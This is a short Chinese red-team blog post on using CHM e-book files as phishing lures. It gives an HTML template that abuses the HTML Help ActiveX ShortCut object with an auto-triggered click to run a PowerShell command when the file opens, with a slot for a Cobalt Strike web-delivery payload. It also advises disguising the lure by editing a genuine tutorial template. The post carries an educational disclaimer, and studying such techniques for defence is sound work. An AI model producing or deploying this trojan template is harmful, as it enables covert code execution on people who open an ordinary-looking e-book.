[红队apt]CHM电子书攻击/电子教程攻击

残月只会敲键盘2024-10-14 22:25

免责声明: 本文用于了解攻击者的攻击手法，切勿用于不法用途

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文主要整理当初电子书的时代，利用电子书攻击的操作

CHM电子书简介

这个在当初普遍用于做教程课件，软件说明等应用。

现在这个用的少了，但是依旧还是有些使用用途。

下面是php的chm教程

这个用来钓鱼还是不错的。

但是一般咱得找点模版，在人家基础上进行编辑。

不然莫名其妙一个奇怪chm太容易被怀疑了。

这个东西其实就是跟网页一样，用h5做的。

制作基础CHM木马

上线模板如下

html 复制代码

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",填入生成的PS上线命令">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

CS生成web投递指令